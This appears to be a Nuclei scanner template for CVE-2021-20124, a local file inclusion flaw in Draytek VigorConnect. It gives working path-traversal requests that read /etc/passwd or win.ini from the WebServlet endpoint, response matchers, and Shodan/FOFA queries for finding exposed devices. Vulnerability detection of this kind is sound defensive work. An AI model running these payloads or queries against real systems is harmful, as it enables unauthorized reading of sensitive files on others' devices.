id: CVE-2021-20124

info:
  name: Draytek VigorConnect 6.0-B3 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: Draytek VigorConnect 1.6.0-B3 is susceptible to local file inclusion in the file download functionality of the WebServlet endpoint. An unauthenticated attacker could leverage this vulnerability to download arbitrary files from the underlying operating system with root privileges.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information, potential data leakage, and further compromise of the affected system.
  remediation: |
    Apply the latest security patches or updates provided by Draytek to fix the LFI vulnerability in VigorConnect 6.0-B3.
  reference:
    - https://www.tenable.com/security/research/tra-2021-42
    - https://www.draytek.com/products/vigorconnect/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-20124
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-20124
    cwe-id: CWE-22
    epss-score: 0.01224
    epss-percentile: 0.85337
    cpe: cpe:2.3:a:draytek:vigorconnect:1.6.0:beta3:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: draytek
    product: vigorconnect
    shodan-query:
      - http.html:"VigorConnect"
      - http.html:"vigorconnect"
    fofa-query: body="vigorconnect"
  tags: cve2021,cve,draytek,lfi,vigorconnect,tenable,kev

http:
  - method: GET
    path:
      - "{{BaseURL}}/ACSServer/WebServlet?act=getMapImg_acs2&filename=../../../../../../../etc/passwd"
      - "{{BaseURL}}/ACSServer/WebServlet?act=getMapImg_acs2&filename=../../../../../../../windows/win.ini"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "application/octet-stream"

      - type: regex
        regex:
          - "root:.*:0:0:"
          - "for 16-bit app support"
        condition: or

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100f9cd00b46006bc1303b3b11ad2363019d1a4b1b0469cf080a502027895e11d2e02202bcd97dddfced0fc1348109ac42a7aeb7ba08a5b137ab8a791464a12b8a7ac29:922c64590222798bb761d5b6d8e72950